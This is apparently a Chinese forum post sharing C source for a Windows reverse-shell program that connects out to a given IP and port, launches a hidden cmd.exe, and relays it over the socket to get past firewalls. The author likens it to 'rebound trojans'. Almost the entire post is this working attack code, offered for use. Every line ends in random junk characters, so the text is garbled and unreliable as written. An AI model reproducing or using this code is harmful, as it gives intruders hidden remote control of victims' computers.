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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 fCY??su*   
7DK}c]js  
/* ============================== AHuIA{AdUR  
Rebound port in Windows NT =EYgck;)  
By wind,2006/7 /]J\/Z>  
===============================*/ (c}!gjm  
#include i;]0>g4  
#include zq$L[ X  
~V?z!3r-)  
#pragma comment(lib,"wsock32.lib") 1I'Q{X&B  
 H6nH  
void OutputShell(); J"E _i]  
SOCKET sClient; |LLpG37_  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Z5U\>7@&8  
.UX4p =  
void main(int argc,char **argv) 0w TOdCvmb  
{ $u ,6x~>  
WSADATA stWsaData; 2o[ceEg  
int nRet; NA0Z~Ug>  
SOCKADDR_IN stSaiClient,stSaiServer; YSPUQ  
l*wGKg"x3  
if(argc != 3) vc3r [mT  
{ fH9"sBiO  
printf("Useage:\n\rRebound DestIP DestPort\n"); [8Z#HjhQ  
return; K@[Hej6d  
} MK Sw  
&|'yqzS3  
WSAStartup(MAKEWORD(2,2),&stWsaData); 9vDOSwU*  
/ s Apj  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); s"$K2k;J  
J_yXL7d  
stSaiClient.sin_family = AF_INET; pd,d"+  
stSaiClient.sin_port = htons(0); -Mrt%1g  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); (#85<|z  
TT3GGHR  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) F_w+8)DZ  
{ Oop6o $k  
printf("Bind Socket Failed!\n"); O.y ?q  
return; 4DL2 A;T  
} L|(U%$  
&F7_0iA P(  
stSaiServer.sin_family = AF_INET; >;j&]]-&  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 8[AU`F8W  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); s%vy^x29  
_ 3>E+9TQ  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) T]/>c  
{ EAWBgOO8iC  
printf("Connect Error!"); hRB?NM  
return; :YkAp9civ  
} qvWi;  
OutputShell(); :?ZrD,D  
} S{MB$JA  
]D,_<Kk  
void OutputShell() x}WP1YyT~  
{ D-i, C~W  
char szBuff[1024]; aEa+?6;D  
SECURITY_ATTRIBUTES stSecurityAttributes; bJ6C7-w:wa  
OSVERSIONINFO stOsversionInfo; ,|z zq@fk  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; PX23M|$!  
STARTUPINFO stStartupInfo; k}}'f A  
char *szShell; )ryP K"V  
PROCESS_INFORMATION stProcessInformation; 0/!0W%f[}  
unsigned long lBytesRead; sc# EL~  
i+T5 (P$  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); }?6;;d#  
0SIUp/.  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); %yfl-c(u  
stSecurityAttributes.lpSecurityDescriptor = 0; l(F\5Ys  
stSecurityAttributes.bInheritHandle = TRUE; ?uJX  
UpSJ%%.n  
H{9P=l  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 2w+4B4  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); o.zP1n|G~r  
&e*@:5Z:k  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo));  ZpBP#Y*  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ; 5[W*,7s  
stStartupInfo.wShowWindow = SW_HIDE; b"trg {e  
stStartupInfo.hStdInput = hReadPipe;  nsV=  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; DNqC*IvuzM  
f4d-eXGwx`  
GetVersionEx(&stOsversionInfo); vE#8&Zq  
\K%M.>]vq  
switch(stOsversionInfo.dwPlatformId) ^Ojg}'.Ygv  
{ /e|qyWs  
case 1: v7#|%  
szShell = "command.com"; jpW_q+^?  
break; ;9ChBA  
default: xA-?pLt "G  
szShell = "cmd.exe"; <_=O0 t| 6  
break; q j9q   
} eq&QWxiD*  
SlT>S1`rnG  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); @8A[HP  
II~91IEk  
send(sClient,szMsg,77,0); o"A)t=  
while(1) [)0^*A2  
{ GM)q\Hx{  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); w2('75$J  
if(lBytesRead) VTyj<6Y  
{ T 7qHw!)  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); $T7 qd  
send(sClient,szBuff,lBytesRead,0); 7 &%#bMnw  
} 9!Xp+<  
else lHTr7uF(  
{ L8 NZU*"  
lBytesRead=recv(sClient,szBuff,1024,0); Bx$?*y&f!v  
if(lBytesRead<=0) break; Hfo<EB2Y9N  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); jWh)bsqI!  
} o>Dd1 j  
} tw\1&*:  
\6"=`H0}  
return; .ns=jp  
}
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